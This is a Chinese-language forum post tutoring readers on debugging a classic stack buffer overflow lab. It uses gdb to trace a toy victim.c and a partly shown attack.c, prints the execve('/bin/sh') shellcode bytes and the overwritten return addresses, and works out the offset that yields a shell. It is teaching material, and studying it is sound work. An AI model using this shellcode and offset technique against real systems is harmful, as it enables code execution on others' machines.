最初由 Wilbur 发布
在猜测的时候 也就是输入程序参数时 他只输入了一个参数
比如jack@0day local]$ ./exploit1 600
这个600就是argv[1] 但始终没有提供argv[2]的输入 offset恒为0
首先attack.c在访问变量buf前缺少一段代码:
if (!(buff = malloc(bsize)) ){
printf("Can't allocate memory.\n");
exit(0);
}
其实猜测是在对栈的分配非常了解的情况下才作的事情.
推荐用调试的方法, 如下:
编译victim: gcc -g -o victim victim.c
编译attack: gcc -g -o attack attack.c
用gdb attack加载编译后的attck程序,
用list命令查看源代码
.....
32 addr = find_start() - offset;
33 printf("Attempting address: 0x%x\n", addr);
34
35 ptr = buff;
36 addr_ptr = (long*) ptr;
37 for (i=0; i<bsize; i+=4)
38 *(addr_ptr++) = addr;
39
40 ptr += 4;
.....
49 buff[bsize -1] = '\0';
50 memcpy(buff, "BUF=",4);
51 putenv(buff);
52 system("/bin/bash");
53 }
在32和52行下断点:
(gdb)break 32
(gdb)break 52
因为victim.c中缓冲区大小为512, 所以要使其溢出bsize(attack第一个参数)必须大于512,
用600 100为参数运行attack:
(gdb)run 600 100
attack中断在32行断点处, 用print bsize, print offset可以查看其值分别为600,100. 然
后输入continue 继续运行程序, 中断在52行, 用p/x addr查看addr=0xbffffa04, 即程序
victim被溢出以后的返回地址为0xbffffa04, 用x/600xb buff查看buff的内容, 前4个字节为
"BUF=", 后面是shellcode, 再往后是用来覆盖返回地址的 '地址数据0xbffffa04'
(gdb) x/600xb buff
0x804a008: 0x42 0x55 0x46 0x3d 0xeb 0x1a 0x5e 0x31
0x804a010: 0xc0 0x88 0x46 0x07 0x8d 0x1e 0x89 0x5e
0x804a018: 0x08 0x89 0x46 0x0c 0xb0 0x0b 0x89 0xf3
0x804a020: 0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xcd 0x80
0x804a028: 0xe8 0xe1 0xff 0xff 0xff 0x2f 0x62 0x69
0x804a030: 0x6e 0x2f 0x73 0x68 0x04 0xfa 0xff 0xbf
0x804a038: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a040: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a048: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a050: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a058: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a060: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a068: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a070: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a078: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a080: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a088: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a090: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a098: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0a0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0a8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0b0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0b8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0c0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0c8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0d0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0d8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0e0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0e8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0f0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a0f8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a100: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a108: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a110: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a118: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a120: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a128: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a130: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a138: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a140: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a148: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a150: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a158: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a160: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a168: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a170: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a178: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a180: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a188: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a190: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a198: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1a0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1a8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1b0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1b8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1c0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1c8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1d0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1d8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1e0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1e8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1f0: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a1f8: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a200: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a208: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a210: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a218: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a220: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a228: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a230: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a238: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a240: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a248: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a250: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0xbf
0x804a258: 0x04 0xfa 0xff 0xbf 0x04 0xfa 0xff 0x00
(gdb)continue 继续运行system("/bin/bash"); 出现一个shell:
icytear@attack:~/shellcoder$
输入gdb victim在此shell中调试victim:
(gdb)list --------------------->查看源码
1
2 int main (int argc, char *argv[]){
3 char little_array[512];
4 if (argc>1)
5 strcpy(little_array, argv[1]);
6 }
(gdb) b 4 -------------------->在第4行下断点
Breakpoint 1 at 0x8048397: file victim.c, line 4.
(gdb) b 6 -------------------->在第6行下断点
Breakpoint 2 at 0x80483b7: file victim.c, line 6.
(gdb) r $BUF -------------------->以参数 $BUF 运行victim
Starting program: /home/icytear/shellcoder/victim $BUF
Breakpoint 1, main (argc=2, argv=0xbffff674) at victim.c:4
4 if (argc>1) -------------------->victim中断在第4行
(gdb) x little_array -------------------->查看little_array地址
0xbffff3e0: 0x00000051 --------------->为0xbffff3e0, 即我们溢出以后的返回地址应该为0xbffff3e0, 回忆一下我们前面的返回地址
(gdb) c -------------------->继续运行程序
Continuing.
Breakpoint 2, main (argc=-1073743356, argv=0xbffffa04) at victim.c:6
6 } -------------------->中断在第6行
(gdb) p/x little_array -------------------->查看数组内容, 可以看到shellcode和'返回地址'已经被写到了little_array
$1 = {0xeb, 0x1a, 0x5e, 0x31, 0xc0, 0x88, 0x46, 0x7, 0x8d, 0x1e, 0x89, 0x5e,
0x8, 0x89, 0x46, 0xc, 0xb0, 0xb, 0x89, 0xf3, 0x8d, 0x4e, 0x8, 0x8d, 0x56, 0xc,
0xcd, 0x80, 0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
0x68, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf,
0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4,
0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa,
0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff,
0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf,
0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4,
0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa,
0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff,
0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf,
0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4,
0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa,
0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff,
0xbf, 0x4, 0xfa, 0xff, 0xbf...}
(gdb) x/16 $ebp ------------------->查看堆栈帧, 可以看到返回地址同样被覆盖了
0xbffff5e8: 0xbffffa04 0xbffffa04 0xbffffa04 0xbffffa04
0xbffff5f8: 0xbffffa04 0xbffffa04 0xbffffa04 0xbffffa04
0xbffff608: 0xbffffa04 0xbffffa04 0xbffffa04 0xbffffa04
0xbffff618: 0xbffffa04 0xbffffa04 0xbffffa04 0xbffffa04
(gdb) stepi ------------------->汇编级'单步进入'
0x080483b8 in main (argc=979789414, argv=0x312e3031) at victim.c:6
6 }
(gdb) stepi
0xbffffa04 in ?? () ------------------->返回到一个 '不太正确' 的地址
但这里还有一个问题就是victim::main返回时的地址为0xbffffa04, 而shellcode在
little_array即我们需要的返回地址是 0xbffff3e0, (0xa04-0x3e0 = 1572), 就是说我们现
在的返回地址还需要再减去1572字节, 反应到attack中就是addr还需要减去1572(即offset需
要加1572)
(gdb)quit ------------------>退出victim调试环境
icytear@attack:~/shellcoder$ ------------>返回到attack shell环境, CTRL+D返回到attack调试环境
(gdb)r ------------------>重新以参数600 100运行attack, 中断在32行代码
Breakpoint 1, main (argc=3, argv=0xbffffb24) at attack.c:32
32 addr = find_start() - offset;
(gdb) p offset ----------------->查看offset值, 现在为100
$12 = 100
(gdb) p offset=1672 ----------------->修改offset=100+1572=1672
$13 = 1672
(gdb) n ----------------->单步执行
33 printf("Attempting address: 0x%x\n", addr);
(gdb) p/x addr ----------------->查看addr值
$14 = 0xbffff3e0 ----------------->现在的addr是我们溢出是正确的返回地址
(gdb) c ----------------->继续
Continuing.
Attempting address: 0xbffff3e0
Breakpoint 2, main (argc=3, argv=0xbffffb24) at attack.c:52
52 system("/bin/bash"); --------->52行断点
(gdb) c ---------------->继续
Continuing.
icytear@attack:~/shellcoder$ gdb victim -->在attack shell中调试victim
(gdb) r $BUF ----------------->用参数 $BUF 运行victim
Starting program: /home/icytear/shellcoder/victim $BUF
sh-2.05b$ ----------------->溢出成功, 不过这里返回的并不是root权限的shell, 可能是因为调试环境的问题, 但这个不影响我们研究溢出